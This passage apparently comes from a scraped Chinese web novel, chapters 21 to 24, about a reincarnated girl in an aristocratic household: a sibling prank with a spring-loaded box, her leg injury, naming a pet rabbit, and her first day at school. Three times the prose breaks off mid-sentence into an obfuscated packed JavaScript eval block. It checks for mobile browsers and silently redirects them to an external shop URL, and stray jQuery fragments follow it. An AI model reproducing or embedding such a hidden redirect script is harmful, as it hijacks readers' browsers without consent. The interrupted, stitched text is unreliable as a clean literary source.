21. 倒霉蛋
盛承礼原本拿完卷子就要回去的,没想到在半路上被一位下人拦住了。
“大少爷,夫人让您去她那边。”
于是他就转了个弯,正好和从主屋出来的盛秋阑错过了。
贺兰谨看着盛秋阑拉着傅如珩离开之后,眼中终于闪过一抹忧愁,她揉了揉太阳穴,半撑着头,不知想到了什么,对一旁的丫鬟说。
“叫承礼过来。”
盛承礼走到贺兰谨面前,恭恭敬敬地行了礼:“母亲。”
贺兰谨示意他坐在一旁:“昨日承驰说那个童舍搬到你们学堂附近了?”
盛承礼不明所以,点了点头。
“童舍的先生有换过吗?”
“没有,还是卫先生。”
因为童舍里面的孩子年岁相差不多,外加上只有一部分在京城地位比较高的人才能够送进来,里面的学生也不多,干脆全都合并在一起,等到上了中舍开始正式学习策论之后才会开始分班。
盛承礼和盛承驰全都是这样过来的,教他们的也都是同一位先生。
他们口中的卫先生是从太学里面转到童舍里面去的,当初童舍的想法刚刚提出来,有不少人支持,却因为没有合适的先生,所以迟迟没有开始动工,是卫先生自请下调,这项工程才能够顺利开展下去。
“行,我知道了。”
贺兰谨断不可能无缘无故问他这些话,盛承礼想了想,难得多问了一句:“是秋阑要去上学了吗?”
按照盛秋阑这个年纪,去上学虽然有些早,但是也不是没有这种先例,只是盛家一贯宠她,私心里面也想让她再多玩一会儿,原本没有打算让她这么早就去上学。
只是贺兰谨今日看见盛秋阑和傅如珩站在一起的时候才想起来,虽然京城当中同龄人不算少,但是盛秋阑一般都和傅如珩在一起,就算关系再好,也应该多交一些其他的朋友。
盛秋阑自从可以独立行走开始就在京城当中乱逛,闲不下心来,外加上昨天鎏金楼那一通,虽然旁边有跟着的侍卫,但还是保险起见比较好,找个地方消耗一下精力也不错。
这只是贺兰谨的想法,盛怀德还在朝中没有回来,具体事宜需要两人一起商讨,最重要的是盛秋阑的态度也不知道。
若是盛秋阑不愿意,那再在府中呆上几年也没有关系,就算出去打了谁,侍郎府也不是赔不起。
盛怀德这几年在朝廷之上平步青云,大部分有眼色的人都不会因为小辈们的矛盾而闹得难看。
这是他们能给孩子的底气。
见母亲没有明说,盛承礼很快反应过来,没有再多问。
在他离开之前,听见贺兰谨话语中带着一点无奈:“回去注意点乘驰,听秋阑说他又带回来的一点什么东西。”
盛承礼应下,一点都不意外。
盛承驰今天的举动实在是太过反常,要说背后没有鬼他都不相信。
只是等盛承礼充满戒备地打开自家院子的时候,却发现一片静悄悄的,盛承驰不知道跑到哪里去了,只有一个书房门大敞着。
应该就是这里了。
盛承礼提着精神,先在门口观望了半天,但只看出里面变得有些杂乱,椅子被随意踢到了一边,桌子上原本架着的笔也掉了下来,在毛毡毯上晕出一团墨渍。
书桌上面放着一个开着口的小盒子,是房间里面唯一多出来的东西。盛承礼一步步地走近,却发现里面是空的,一个弹簧有些滑稽地在空中摇摆。
盛承驰在原地等了半天,几乎都要习惯空气当中的浓重气味,终于看到盛承礼的身影出现在视野当中,他紧紧盯着人进入院门,里面却没有一点动静。
没发现吗?
不应该啊,他特意把盒子放得明显,只要一进入书房就能看见。这个机关做得很巧妙,就算不害怕虫子,也会被突如其来的弹簧吓一跳,不管怎么说都不应该这样安静。
就算盛承驰不害怕,也应该立刻出来教训他,怎么会这么平静。
盛承驰终于耐不住性子,从屋子里面走出来,没想到迎面就碰上盛承礼。
对方手里拿着他精心挑选的盒子,一颗弹簧作为隐藏的机关,现在大咧咧地露在外面。
盛承礼把盒子丢到他的怀中,竟然没有多说什么。
盛承驰不甘心,竟然还不肯走,大着胆子讨打:“哥,你不害怕?”
盛承礼原本做好了心理准备,没想到就面对一个弹簧,还在感叹盛承驰长大之后就连套路都开始温和了,此刻见到人也没有想要教训他的意思,反而心平气和地说:“不就一个弹簧?母亲还说让我多注意一点。”
盛承驰终于反应过来不对:“只有一个弹簧,没有别的?”
盛承礼有些疑惑地转向他:“没有。”
贺兰谨的提示来得突然,他也没有来得及问她是怎么知道的,现在看盛承驰的表情,才感觉到事情没有这么简单。
艾草味几乎要散干净了,只有仔细闻才能嗅出清冽的草木味,盛承驰还没有来得及同情自己腰酸背痛等了半天结果放了哑炮的戏,转而开始思考。
是谁成了这个倒霉蛋?
倒霉蛋本蛋盛秋阑此时半靠着床头,旁边是临时支起来的小桌子,上面摆着今天的晚膳。
碧云没想到自己一下子没有看住,盛秋阑就摔倒了,现在翘着一条腿躺在床上,看起来可怜又好笑。
伤患自己没有这个意识,有些郁闷地咬着勺子,看着面前变得清淡的粥。
“我记得今天应该有红烧肉吧,怎么就给我吃这个。”
盛秋阑昨天特地点了菜,今天还看到膳房里面热火朝天地忙活,期待晚饭很久了,没想到就端上来一份清汤寡水。
她拿着勺子抗议:“我想吃肉。”
“小姐你腿上有伤,不能吃太油腻的东西,想吃肉的这边有排骨汤。”
盛秋阑兴致缺缺地看了一眼传说中的排骨汤,上面的浮油都被撇了个干净,就连调料都放得极少,几乎尝不出来味道。
她先前还不觉得,现在才意识到摔伤的麻烦。
碧云残忍地告知她,腿好之前,膳房会每天变着花样给她准备这些养生餐,而且会有人守着,她别想要偷偷摸摸改善伙食。
盛秋阑听得两眼一黑,目光转向唯一有可能的傅如珩。
养兵一日,用兵一时,是时候报
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047778|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
效她了。
谁知傅如珩默默移开视线,不和她对视上,任凭盛秋阑挤眉弄眼,怎么暗示都不行,旁边还有丫鬟们守着,她又不能直接说出来。
看着人离开的影子,盛秋阑气得握紧了拳头。
她就知道,得到了就不珍惜。
这才刚刚一天,傅如珩就要开始造反了!
不仅如此,她这段时间只能呆在房间里面,就连出去也不行,盛秋阑摆着手指数着未来养病的天数,顿时感觉自己已经开始无聊了。
不过养伤的日子比她想象中要快很多,傅如珩在开头几天每天都会准时来看她,虽然总共说不了多少话,但他们之前的相处方式也是这样,盛秋阑光靠一个人就能把场面撑起来。
盛承驰已经知道那个倒霉蛋是盛秋阑了,第二天就赶过来,本意是想关心一下,只是看到躺在床上的人没忍住幸灾乐祸,最后忘乎所以,把自己原本的想法都给说出来了。
“我不是说了不要去碰吗,本来只是想吓吓大哥罢了,看你现在只能躺在床上。”
话刚说完,盛承驰的后脑勺就被拍了一下,转头看见盛承礼皮笑肉不笑地说:“原本想吓谁?”
……
府医在第二天就赶回来了,听说自己不在的时候盛秋阑摔伤了,他吓得都没来得及去西跨院,直接到了盛秋阑的房中。
和盛秋阑当初自己的判断一样,这个伤口只停留在表层,没有伤到内部。府医看过之后其他人也放心下来,他收起旁边的药箱,重新换了绷带,拆开结的时候还有些惊奇。
“这是谁绑的,还挺精细。”
白纱布妥帖地放在一边,上面还沾着药粉,作为一个临时的处理已经算是很好,就连府医也挑不出什么错处。
傅如珩之前受伤得多,虽然大多数是自己处理的,但总有伤势比较严重,需要让大夫处理的时候,就是在那个时候偷偷学习的手法。
盛秋阑看着府医重新把新的绷带缠在腿上,看模样却有点蔫蔫的。
傅如珩今天没有来。
一般对方早在用完膳就会过来了,可是现在已经临近申时,还不见他的影子。
盛秋阑原本只以为是傅如珩一时有事,但在之后的两天却还是没有看见人影。
等到终于被府医告诉已经完全恢复已经是一个星期之后了。
盛秋阑这段时间去过最远的地方就是自己门口的院子,早已经闲得要长草,就差和兔子一起啃草坪了。迎春怕她无聊,从一旁的兔子窝中把兔子抱过来给她玩,盛秋阑面上玩得挺高兴,但是兴致总没有之前那么高,时不时望向院门口,好像在期待谁会突然出现。
她有一搭没一搭地摸着兔子上面的毛,听到府医宣布可以出去的时候眼睛亮了一瞬,当即就想要往外跑。
傅如珩这么长时间没过来,都不知道她已经好了,她倒要看看对方到底在忙什么,竟然一直不过来。
盛秋阑还没有来得及出门,就难得被娘亲带了回来。
贺兰谨还是平常温柔端庄的样子,看着盛秋阑乖巧地站在面前,先是询问了一下她腿上面的伤,随后就进入了正题。
“你想去上学吗?”
22. 手感不错
府医每天都会向贺兰谨汇报她的情况,盛秋阑知道母亲这样叫她过来肯定不单单是为了询问伤口,满心想着一会儿要做的事情,眼睛不安分地乱转,根本没有认真,直到听见这句话。
她掰着手指算了一下年龄,若是想要去上学也不是不可以,只是比想象中早了一点。
盛秋阑对上学没有那么大的抵触,来到这个世界之后她就知道会有这样一天,更何况在原本她就想象过类似的情节。高中趴在桌子上怎么都写不出来数学题的时候,她就幻想着按照自己现在的知识水平,到了小学可以呼风唤雨,第一拿到手软,人送外号为“神童”。
没想到曾经的幻想居然有可能在这个世界实现。
正好盛秋阑这几年也差不多再京城玩遍了,一些同龄人又不亲近,稍微大一点的都被家中长辈送到了学堂里面。
她没有过多考虑,应下来:“好啊。”
贺兰谨话还没有说完:“那明天就和哥哥们一起走吧。”
她明显是已经提前说好了:“学堂里面的先生会教你读书写字,阑阑想要回来的话也可以回来。”
虽然已经决定让盛秋阑上学,但是贺兰谨没有打算把她逼得很紧。毕竟年岁摆在这里,若是盛秋阑最开始说不想上学,她也会顺着意思,等过两年再送进去。
盛秋阑这一次答应得就没有那么爽快了,她没想到时间那么快,甚至都没有来得及准备东西,但是既然答应了去上学,她也不想半途而废。
盛秋阑算了算自己在这一天里面要准备的事情,上学需要新衣服、文具。不过这些东西不需要她操心,肯定都会准备好的。最重要的是,自己白天要在学堂里面,意味着不能像前几天一样每天和兔子玩……还有傅如珩。
被迫养伤的这几天,傅如珩只在前几天来看她,就连见兔子的时间都要比他多,盛秋阑本来是打算今天去问原因,现在就有些不合适了。
贺兰谨还等着她的回复,盛秋阑努力压下心中那一丝不明不白的烦躁,露出一个笑:“好的。”
“先前不是还说要去玩吗,快去吧。”
盛秋阑重新出了大门口,先前的雀跃却少了一点,眼中多了几分惆怅。
要怎么和傅如珩说这件事呢?
明明只是一个正常阶段的分开,但是却莫名难以说出口。
又不是以后不在一起玩了。
盛秋阑压下心事,敲响了侯府的门。她已经很久没有来了,门口的侍卫看到她还惊讶了一瞬,两个人交换了一个眼神,略带犹豫地称呼:“盛小姐。”
其中一个侍卫向另一个传递了一个肯定的眼神,那人才说:“少爷之前说了,小姐要是来的话就直接进来。”
闻言,盛秋阑没有再等待下去,走入了庭院当中。
刚走进来,她就敏锐地发现了不对劲,院子当中的人似乎多了一些,来来往往之间都是面无表情的下人们,行事特别小心,氛围看着比先前更加紧张。
她走向傅如珩院子的速度不免加快了一点,不过院子当中还是一片平静,也没有多出一些碍眼的东西。
盛秋阑没有预告,自顾自推开了庭院面前的门,看上去比在门口还要松散一点。她敲了敲屋子的门,都没有等里面传出声音就自己推开来了。
一方面是想要吓人,另一方面是因为心中还是有一些不安。
这段时间两个人见面的次数不算多,盛秋阑也不知道侯府当中发生了什么,若是傅皓轩趁着这段时间作妖,傅如珩肯定也不会告诉他。
屋子不算很大,一眼就能看清楚里面的布局,一个身影就坐在床旁边的书桌上,脊背端直,看上去像是在背书。
盛秋阑打消了疑虑,快步走上前,双手挡住了对方与书本之间的视线,笑嘻嘻道:“猜猜我是谁?”
她临时压低了声音,即便这样,伪装依旧不高明,显然没有多花心思来遮掩。
“腿好了?”傅如珩没有回答这个显而易见的问题,他不动声色地把盖在膝盖上面的毯子放在一边,声音平淡,半点没有被吓到的样子。
盛秋阑颇觉无趣,柔软的手心从眼睛上面移开,见傅如珩转过来,视线落在她的腿上。
这一次出来是府医亲口认证的,盛秋阑丝毫不慌,晃了晃两条腿,表示自己这次确实是好得不行了。
“今天去哪?”傅如珩没有再多问,习惯性地询问。
盛秋阑来的路上一直在纠结如何说自己要去上学,倒把来的时候的目的忘得一干二净。总归京城有意思的事情来来回回只有那么几件,比起出去玩,好像和傅如珩呆在一起才是目的。
她过来之前还没有想好计划,只是一门心思地想要见傅如珩,现在突然被打岔,更是把原来的措辞都给打乱了。
想当初她洋洋洒洒写了几百万字,到头来连一个上学的理由都说不出来。
明明这件事情很是平常,但是盛秋阑也不知道怎么了,反复纠结之下,还是不知道该怎么开口。
不过她最大的优点就是不会过多苛责自己,既然暂时想不到说法,就干脆先放到一边,转而也开始思考今天的安排。
在他们交谈的时间里面,外面还是一片安静,和侍郎府中的轻声细语不同,更多的是一份压抑感,如同山雨欲来。
盛秋阑不喜欢这种感觉,虽然一时没有想到要去哪里,但先离开侯府就对了。
她堪堪想出来一件事:“你还没有去看过兔子吧,正好就今天。”
若是盛秋阑再仔细一点,她就会发现傅如珩面前摊开来的文章和她上次来的时候是一样的,但是她这会儿注意力都在人身上,没有发现迟迟未动的书页。
傅如珩起身的动作比以往慢一些,站起来的时候身子不自然地僵了一下,但是很快就调整好了姿势,面色无常地跟在她后面出了门。
还没有走出府门,旁边突然传来一阵骚动,傅鸿元在下人的簇拥下从书房里面走出来,正好碰上了两人。
看见出现在自家府中的盛秋阑,傅鸿元没有表现出意外,看着两个人并排站在他的面前按照规矩行了礼,甚至还露出一抹平常都不怎么看到的笑容。
“秋阑又来了?”
他的称呼自以为亲昵,但是熟悉盛秋阑的人看着她现在这个样子就知道她心中早已经不耐烦了。
喂喂喂,他们很熟吗?
盛秋阑之前几次来的时候傅鸿元都在朝中,今日却不知为何白日出现在家中,不过盛秋阑对其中原因并不感兴趣,架不住傅鸿元主动开始解释。
“听闻皓轩之前在酒楼和你们玩闹了一番,没想到还把账单送到了侍郎府中,是我管教无方,也请秋阑转告一下侍郎不必放在心上。”
傅皓轩生好几天的气,不知砸坏的多少精贵物件,就在傅鸿元口中变成了玩闹,面上还丝毫没有对他们表现出一丝情绪。
不愧是在朝中多年的聊斋,话说得没有一丝错处,全服上上下下爱捧着的世子就这样被轻飘飘带过。
盛秋阑啧啧称奇,但是面上依旧没有多余的表情:“好的,那侯爷我们就先走了?”
“不必如此生疏,我们两家相隔如此近,我也算是看着你长大的,叫伯父就行。”傅鸿元好像现在才看到盛秋阑旁边的傅如珩,“如珩,你是哥哥,理应照顾一点。”
后者垂下眼眸,阻隔了两人之间的对视,眼中带着复杂难辨:“是,孩儿知晓。”
看见傅如珩和傅鸿元对话,盛秋阑比刚才自己回答还要紧张一点,好不容易等到说完话,当即就拉着傅如珩离开,生怕傅鸿元还要拉着他们说话。
“快点!”
盛秋阑语气急切,仿佛是在说他不争气:“怎么那么慢。”
傅如珩一只脚跨出门槛,动作慢条斯理,侍郎府的大门早已经按照盛秋阑的要求大敞着,走到前院当中,盛秋阑才长长地叹了一口气。
即便是傅如珩的爹,她也丝毫没有掩盖情绪:“终于走了。”
.
“爹,你怎么就这样让他们走了?!”傅皓轩早已经通过下人的专属知道了刚才发生的事情,看到傅鸿元走进来的时候不满地说。
盛秋阑和傅如珩把他打得这么惨,甚至一直到现在还只能做小幅度动作,就连出门都难。没想到父亲就这样轻飘飘放过了,傅皓轩眼中都是怒火,手指狠狠地收紧被子,面料极好的丝被发出不堪重负的断裂声。
傅鸿元语调威严,站在床边,眼神往他的手指上面瞥了一眼:“你看看你现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054397|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,像什么样子?”
傅皓轩还是不服,正想要反驳,却被傅鸿元威慑性极强地看过来,抱怨的话收回口中,变得小声:“还不是他们打的。”
“皇子们年岁渐渐增长,陛下一定会在其中做个决断,二皇子背后如果有了盛家的助力会更加有底气,相比起来,你们这些小打小闹算什么?”
“那难道就这样过去了?傅如珩才在祠堂里面跪了两天,我可是在床上已经快要十天了!”
傅皓轩作威作福惯了,要是就这样放过,他心里不服气。傅鸿元知道他从小被宠着,但是没想到会这样认不清局势,原本带着的一点纵容也变成了教训。
“你之前向侍郎府中送来账单,可曾想过后果?虽然侍郎后续送来了赔礼,但若是一朝不慎,可能就失了这一份助力,他们对那位小姐可是看重得很,若无闲事还是少去招惹。”
那天把账单送去的下人和随身守护的侍从全都被教训了一顿,纵使傅皓轩再怎么不满,在父亲面前也不敢吭声。
“是他们那一天无缘无故来到酒楼里面,爹你看我现在身上还有印子,要不是因为傅如珩,我怎么会变成这样?”
虽然已经涂了好几天的药膏,但是也只是皮肤上面的肿胀消退,仔细看还能看到表面的红痕。
就算傅鸿元对长子的不思进取再怎么不满,但傅皓轩终究是未来侯府的掌门人,现在看到他把衣服撩起来终究还是没有再教训下去。
“等到把盛家拉拢过来,随便你想要怎么做。”
两人的对话隐蔽,旁边侍奉的人早已经退到外面,一众下人噤声,权势暗波皆被关在一门之内。
盛秋阑终于如愿以偿带着傅如珩看了院子当中的兔子。相比起刚进入侯府中,兔子现在赫然已经把院子当成了自己家,就连看到有陌生人过来也不为所动,我行我素地躺在盛秋阑亲手搭建的窝里面,懒洋洋地转了个身,把头对着傅如珩,勉为其难给了个面子。
盛秋阑熟练地揉了一把它的脑袋,她已经不是当初在马车上犹犹豫豫的人了,经历过养伤期间的每日消遣,此时她已经进化了,成为了盛·钮钴禄兔子主人·秋阑。
见傅如珩还是站在旁边,低头注视着地上的盛秋阑和她旁边白白的一团,盛秋阑有些不满,但是她联想到自己第一次拿到兔子时的样子,还是善解人意地表示理解。
别以为她不知道,傅如珩面上这个样子,心理肯定早就想要摸了吧。
身边常年跟着一个话少的人,盛秋阑早已经能够通过傅如珩的表情当中推断出他的意思,这一会儿也不管对方愿不愿意,拉着人往下拽:“今天本小姐让你摸爽了。”
傅如珩原本并不是这个意思,只是盛秋阑怀中抱着一直圆滚滚的兔子,原本还有些弱小的兔子已经在侍郎府中被照料得很好,身子日益庞大,惬意地躺在女孩地怀中,一身洁白光滑的毛蓬松,如同一小团蒲公英散开。
盛秋阑今天刚好穿着一件浅色衣服,月华布料上面有着银色的暗纹,衣服的领口和袖口是一圈薄薄的绒毛,从上面往下看,只能看见裸露的后颈和衣服上的白毛,与怀中的兔子极像。
傅如珩对白兔不感兴趣,哪怕它曾经在花鸟集里面吸引了无数小孩大人的注意,但是这群人中没有他。不过盛秋阑坚持,他也没有反抗,顺着意颇为敷衍地摸了一把。
兔子上面覆盖的白毛柔软,手感相比起第一次接进府中还要好上不少,也多亏了采买的小厮变着花样买不同的蔬菜,最后才根据表现选出了偏好的菜叶种类。
“怎么才一下,我都给你机会了。”
盛秋阑看着傅如珩的指尖浅浅陷入白色的毛中,力度轻飘飘的,看起来非常随性:“这种时候了你还跟我客气什么,这里又没有别人,想摸就摸。”
“真的?”
傅如珩不知道想到了什么,语气中带着一点兴味,听起来像是寻求某种同意。
“那当然,我什么时候……”
盛秋阑话说到一半,一双手就停留在她的脖颈后面,微凉的触感轻轻搭在皮肤上面,若是更准确一点,是放在她的领口处。
然后傅如珩揉了揉,力道相比起刚才重了一些,末了才状似感叹。
“手感不错。”
23. 取名言言
虽然傅如珩摸的是衣领,但是盛秋阑总感觉他话中有话,她愣了一下才反应过来:“我让你摸兔子,你摸我干啥啊?”
傅如珩不感兴趣地看了她怀中的兔子一眼,手从衣服上面落下来,比上一次更加敷衍地摸了一把,这一回就连上面的软毛都没能够留住他,几乎可以算作蜻蜓点水。
在盛秋阑再次出声质问之前,傅如珩先开了口:“它有名字吗?”
盛秋阑没有说出口的画就这样被打断,顺着傅如珩的话想:“我还没有想好。”
既然这是盛承驰买给她的,取名权就在盛秋阑的手中,但是她先前想过几个名字,都感觉不是很好,取名这件事就这样搁置下来。她的目光转向搭在她衣服上,有一下没一下点着绒毛的手指,傅如珩的手生得很好看,就算现在还没有完全发育,依旧看不见多余的肉,手指纤细修长。
盛秋阑福至心灵,露出一个坏笑:“要不就叫言言吧。”
规律点动的手指蓦然停住,如同坏掉了的机器,过了两秒才迟缓地继续运动,好像刚才只是一时的程序故障。
“哪个yan?”
“言语的言……不然你以为是什么yan?”
傅如珩:“……”
他的表情像是对这个名字根本不在意,如果不是盛秋阑一直盯着傅如珩的表情,差点以为他真的没有听出话外之音。
入府之后一直没有名字的白兔就这样在午后被定下了自己的名字,盛秋阑不光是自己叫,还顺便把这个消息告诉了负责照顾兔子的侍从。
傅如珩跟在她后面,听着盛秋阑一张小嘴完全不停,耳边充斥着“言言言言”的名字。
如果他这时候再听不出来盛秋阑是故意的,那他也白跟盛秋阑长大了。
“怎么样,是不是很好听?”盛秋阑叫了一下午还不够,抓着人想要评价,但是眼睛当中的狡黠早已经透出来,逼着傅如珩亲口承认。
傅如珩在刚开始的沉默之后,不知道想到了什么,竟然就这样轻易松口了:“是挺好的。”
居然就这样应下来了?
盛秋阑本来只是想要逗逗他,没想到傅如珩居然如此爽快,她怀疑地上上下下打量了一遍,傅如珩坦然地让她看。
盛秋阑嘴巴微动,小声地嘟囔了一句什么,傅如珩没有听清,正想要凑近,就见盛秋阑一把把手上抱着的兔子塞在了他的怀里。
之前为了展示言言的新名字,盛秋阑把它从兔窝里面呆了出来,就这样抱在怀中,来来回回逛了好几圈,现在这一份重量到了傅如珩手中,他却难得表现出来了生疏。
傅如珩的表情像是想要快点把兔子放下来,但是盛秋阑已经抱胸在一旁,一看就不会接过来,如果放在地上,兔子又有可能会跑走,于是就只能姿势僵硬地站在原地,手臂都开始绷紧。
言言的体型相比起成年兔子还是要小上一圈,但是得益于精心照顾,体重却不轻。
比起之前一触即分的触摸,这一次白色软毛严严实实地覆盖住了整个手指表面,被毛覆盖的温热躯体重重地压下来。哪怕刚才傅如珩的敷衍毫不掩饰,言言也小兔有大量地选择不去计较,现在换了一个人也没有表现出来不适应,懒洋洋地放松身子。
盛秋阑在一旁看戏,她颇为新奇地看着傅如珩此刻的表情:“怎么样?”
傅如珩没有说话,她已经渐渐习惯了怀中的重量。试图放松手臂让姿势变得不那么僵硬,兔子的温度源源不断地传过来,小小一团抱在怀中,好像一旦用力就会受伤。
大抵是体谅傅如珩第一次抱,言言颇为配合地往兔窝那边伸头,像是想要下来。
傅如珩没有决定权,难得无奈地看向盛秋阑,后者大发慈悲地放过了他:“放它下来吧。”
前脚触碰到熟悉的草地,言言一扭身子就往栅栏里面跑过去,又短又圆的尾巴最后离开掌心,如同逗弄似的扫了一下掌心。
明明之前看起来还是不情不愿,但是看到言言离开的时候,盛秋阑居然从傅如珩的脸上看到了不舍。
她当然不会放过这个机会:“下次还让你抱。”
傅如珩把视线从远处蜷成一团的白团子中移开,言言丝毫没有留恋的意思,此刻撅着一个屁股在草地上吃得很开心,只肯留给他们一个尾巴。
“要不你给我摸一摸?”
盛秋阑又想起来刚才的事情,她如临大敌一般抓着自己的衣领,生怕傅如珩再像刚才一样突袭。
“不行,要人没有,要兔一只。”
言言似乎感受到自己被主人卖掉了,她从晚餐当中抬起头,颇为谨慎地转头看了他们一眼,然后叼着一片菜叶子转身跑走了。
他们不知不觉就在院子当中留了一下午,等到傅如珩回去的时候,盛秋阑才想起来自己还没有跟他说明天要去上学的事情。
她脸上的笑容淡下来,难得头顶上挂着几片乌云。
早知道就和娘亲说晚点再去上学了,也不知道傅如珩会不会来找她。不过之前她受伤了傅如珩就没有来看她,说不准等到下次放假的时候对方才会知道她这几天不在侍郎府。
想到这里,盛秋阑记起了白天被转移走的话题,她意识到了什么,攥紧了拳头。
好哇,傅如珩肯定是故意的。
盛秋阑干脆打消了想要再跑到侯府里面向傅如珩解释的念头,说什么说,这次她一定要晾几天。
丫鬟们已经把需要准备的东西整好了,虽说是去上学,却没有多少相关的东西,倒是一些吃食装了不少,像是生怕盛秋阑会在学堂里面饿着,一套全新的衣服整整齐齐地叠好放在旁边。
盛秋阑的心绪被扫落不少,她欢欢喜喜地检查了一遍,一旁的迎春忍不住笑出声:“小姐要去上学怎么如此高兴,想当初二少爷在上学前一天还哭了呢。”
一旁的碧云给了她一个眼色,迎春后觉自己说话不当,竟然开始议论主家,哪怕在盛秋阑面前他们随意惯了,但是该有的规矩还是要有。
她打了一下自己的嘴:“奴婢嘴快了。”
碧云笑着对盛秋阑说:“小姐去学堂之后能多交些朋友了。”
一说起这个,盛秋阑就又想到傅如珩了,她努力撇清自己脑海中的念头,信誓旦旦地说:“那是,我肯定能交到很多朋友。”
话说起来,当初参加周岁宴的人也不少,其中不乏有同龄人,但是那些小孩都和她不熟,盛秋阑偶尔跟着盛怀德去拜访,那些小孩子都躲在后面,好像看见了什么洪水野兽,算来算去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065246|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,竟然只有一个傅如珩可以算作亲近。
……怎么又想到傅如珩了。
盛秋阑晃了晃脑袋,好像这样就可以把时不时出现在脑海中的人赶走,直到晚上躺在床上的时候,她才迷迷糊糊做了梦。
一睁眼,傅如珩泫然欲泣地站在面前,一双眼睛红红的,看上去像是哭了很久。
盛秋阑吓了一跳,她什么时候见过傅如珩这个样子,就算小的时候在陌生环境里面被管家丢下,最多也是露出一个有些慌乱的表情,长得大些之后就更加不会这样了。
盛秋阑常常在心里吐槽他是逼王,有这种气度就应该在小说里面当主角,没想到最后是一个到死连真名都没有透露的小炮灰。
她久违地起了些怜惜的感情:“怎么了?”
傅如珩眼睛里面反着眼泪的光:“我这几天来找你,你怎么不在,是不是有别人了。”
盛秋阑被扑面而来的茶香迷了满面,差点绷不住笑出来。
她清清嗓子,刻意停顿了两秒:“因为我去上学了,况且你之前不是也没有来找我吗?”
傅如珩急切道:“我每天都来找你,不要和别人玩。”
盛秋阑哪有过如此威风的时候,这一次她才体会到了自己真的收了个小弟。
真是太爽了。
盛秋阑没忍住笑出了声,胸腔微微震动,随后感觉面前突然出现了有些刺眼的光。
窗外的阳光不知何时照了进来,盛秋兰睁开眼睛,身上还盖着被子,面前的傅如珩也没了影。
原来是梦,难怪这么爽。
她撇撇嘴,从床上坐起来,一旁的碧云适时地把昨天晚上准备的衣服拿过来。
“小姐。大少和二少都已经在膳厅候着了。”
盛秋阑穿好衣服,迎春给她盘了一个比较简单的发髻,她往膳厅跑过去,看见了盛承礼和盛承驰早已经穿戴完毕,就连盘中的食物都已经吃完了一半。
“上学第一天就迟到,不会是反悔了吧。”
盛秋阑拿了一个包子塞在口中,声音含糊不清:“我才不像你。”
前一天晚上通宵补课业,哀嚎着不想上学的盛承驰顿感被羞辱了,他“呵呵”两声:“我看你能坚持到什么时候。”
像大哥这种每天勤勤恳恳甚至回家之后还主动背书的人,他们家有一个就够了,他觉得盛秋阑肯定不会是这样。
估计下次回家就要说自己不想去上学了。
盛承驰带着看好戏的心态,仿佛在看着未来的自己,就连要去上学的烦闷都少了一些。
临上马车之前,盛秋阑再次看了一眼对面的大门,梦中傅如珩挂着泪珠的脸浮现在面前,她浑身抖了一下,胳膊上的鸡皮疙瘩都起来了。
在梦里还不觉得违和,现在想起来傅如珩露出这种表情的可能和见鬼也没差多少了。
他们出门不算晚,若是想要和傅如珩道别也还有时间。
“小姐,我们走了。”
马车旁边的门被拉上,空阔的视野骤然被窗框给圈住,没有绑住的纱帘垂落下来,通过褶皱处可以看见朱红的大门。
盛秋阑手搭在纱帘上,犹豫半刻还是垂下来。
算了,哭就哭吧,大不了她回来再哄。
24. 传纸条
童舍比中舍要近一些,盛秋阑下车的时候,盛承驰他们还没有到目的地,但毕竟是妹妹第一次上学,两人还是专门下车,把她送到了学堂门口。
“那我先进去了。”
盛秋阑转身冲他们挥挥手,她身上挎着一个小布袋,里面装的是碧云给她准备的东西,一些大件有侍从们帮忙搬下去。
学堂里面已经坐着不少小孩,教室当中的座位一个大长桌,一桌坐两个小孩。
因为盛秋阑是后来才进来的,其他小孩已经分配好座位。她也不觉得尴尬,径直走到后面的一张空桌子上,把小布袋往桌子上一扔。布袋里面装的大多是一些糕点吃食,碧云生怕他饿了,特地往里面放了不少的分量。
盛秋阑伸手一掏,从布袋里面掏出满满一把的桂花糕,放在手心里几乎要抓不下。
她伸出手指戳了戳前面的人,坐在前桌的是一个小女孩,她的旁边放着一个小板凳,但是人还没有来,女孩扎着漂亮的批发造型,两鬓用辫子梳起来,上面插着一朵浅蓝色的兰花发簪。
“你吃桂花糕吗?”
见人转过来,盛秋阑露出一个甜甜的笑,等到看清女孩长相的时候,她忍不住在心里哇了一声。
是漂亮姐姐!
女孩可能没有想到盛秋阑如此自来熟,她略有些拘谨地从他手上接过桂花糕,声音不大,但足够清晰:“谢谢。”
“不客气不客气,你叫什么名字啊?”
“林辞殊。”
不光脸长得好看,名字也像小说女主。
盛秋阑在脑海中搜索了一番记忆,却没有找到原著当中关于她的描写。
